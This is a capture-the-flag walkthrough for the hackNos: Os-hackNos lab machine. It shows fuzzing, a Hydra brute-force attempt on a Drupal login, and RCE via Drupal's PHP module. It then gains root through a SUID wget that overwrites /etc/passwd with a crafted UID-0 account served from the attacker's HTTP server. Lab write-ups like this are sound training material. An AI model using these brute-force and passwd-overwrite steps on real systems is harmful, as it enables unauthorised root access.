HackNos-1

By Lawcky 02/01/2024

Introduction

Flag : 2 Flag first user And second root

Learning : exploit | Web Application | Enumeration | Privilege Escalation

Difficulty : easy-medium

Additionnal info :

Name: hackNos: Os-hackNos
Release date: 27 Nov 2019
Author: Rahul Gehlaut
Series: hackNos

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• ffuf
• burp decoder tool
• nikto
• nmap
• php rce
• SUID for Wget

---

Write-UP

we fuzz the website for hidden directories
sudo ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://192.168.1.10/FUZZ

lets try to get it
sudo hydra -l james -P /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt 192.168.1.10 http-post-form '/drupal/:name=^USER^&pass=^PASS^:F=Sorry, unrecognized username or password'

cannot bruteforce it it seems

lets fuzz and nikto scan drupal
nikto -h http://192.168.1.10/drupal/
for nikto ===> here
sudo ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://192.168.1.10/drupal/FUZZ

http://192.168.1.10/drupal/sites/README.txt

lots of code and config files in drupal/includes

---

User Enumeration

===> hacktrix

there are 2 users

james and another one

version is  < 8 and the php modules is installed

after rerunning another ffuf fuzz we found alexander.txt

inside :

decoding it we get :

After some research we find that its a brainfuck programs, once decoded the result is

---

RCE using php modules

back to ===> hacktrix

then adding the php code in a page to then running it

upgrading to better tty

first flag found

---

Privilege Escalation

Using SUID

find / -perm -4000

wget has a vulnerable SUID ===> gtfo

we can create a copy of the /etc/passwd file and replace it using the wget command with these SUID permissions

on my machine :

vim /home/passwd

copying the passwd of the target

openssl passwd -1

then creating a new user

echo 'pwned:$1$k3gC0LDh$3BmH74WpKupICQLY0CdnD1:0:0:hackingAcc:/root:/bin/bash' >> /home/passwd pwned:pwned

python3 -m http.server 8000

on the target :

cd /etc wget http://192.168.1.253:8000/passwd -O passwd

second flag found